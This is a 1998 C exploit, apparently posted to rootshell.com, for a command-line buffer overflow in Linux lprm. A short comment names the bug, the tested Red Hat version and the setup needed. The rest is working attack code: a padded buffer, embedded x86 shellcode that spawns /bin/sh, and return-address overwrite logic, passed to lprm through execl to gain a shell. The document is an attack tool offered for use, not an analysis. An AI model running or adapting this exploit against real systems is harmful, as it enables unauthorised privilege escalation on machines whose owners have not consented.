/* lprm.c 
*
* http://www.rootshell.com/ - 4/20/98
*
* Exploit for the bug discovered by Chris Evans in Linux lprm.
* Description: /usr/bin/lprm does inadequate bounds checking
* on its command line arguments. Classic overflow, though I 
* was unable to massage Aleph One's generic exploit enough 
* to make it work. Here is a modification of the source provided 
* in Willy Tarreau's excellent paper on linux stack smashing. 
* The offset will be very high for some reason, so don't be alarmed.
* This was tested with Redhat 4.2.  This will only work with a 
* remote printer defined in /etc/printcap.  Remember to change 
* the PRINTER define accordingly.
* This bug has been fixed in OpenBSD, you can rip the fix from them.
* Seth McGann <smm@wpi.edu>
*/

#include <stdio.h>
#define PRINTER "-Pwhatever"


static inline getesp() {
  __asm__(" movl %esp,%eax ");
}

main(int argc, char **argv) {
  int i,j,buffer,offset;
  long unsigned esp;
  char unsigned buf[4096];

  unsigned char
  shellcode[]="\x89\xe1\x31\xc0\x50\x8d\x5c\x24\xf9\x83\xc4\x0c" 
             "\x50\x53\x89\xca\xb0\x0b\xcd\x80/bin/sh";

  buffer=990;
  offset=3000;
 
  if (argc>1)buffer=atoi(argv[1]);   
  if (argc>2)offset=atoi(argv[2]);   


  for (i=0;i<buffer;i++)
     buf[i]=0x41;  /* inc ecx */

  j=0;

  for (i=buffer;i<buffer+strlen(shellcode);i++)
      buf[i]=shellcode[j++];

  esp=getesp()+offset;

  buf[i]=esp & 0xFF;
  buf[i+1]=(esp >> 8) & 0xFF;
  buf[i+2]=(esp >> 16) & 0xFF;
  buf[i+3]=(esp >> 24) & 0xFF;

  buf[i+4]=esp & 0xFF; 
  buf[i+5]=(esp >> 8) & 0xFF;
  buf[i+6]=(esp >> 16) & 0xFF;
  buf[i+7]=(esp >> 24) & 0xFF;

  printf("Offset: 0x%x\n\n",esp);

  execl("/usr/bin/lprm","lprm",PRINTER,buf,NULL);
}


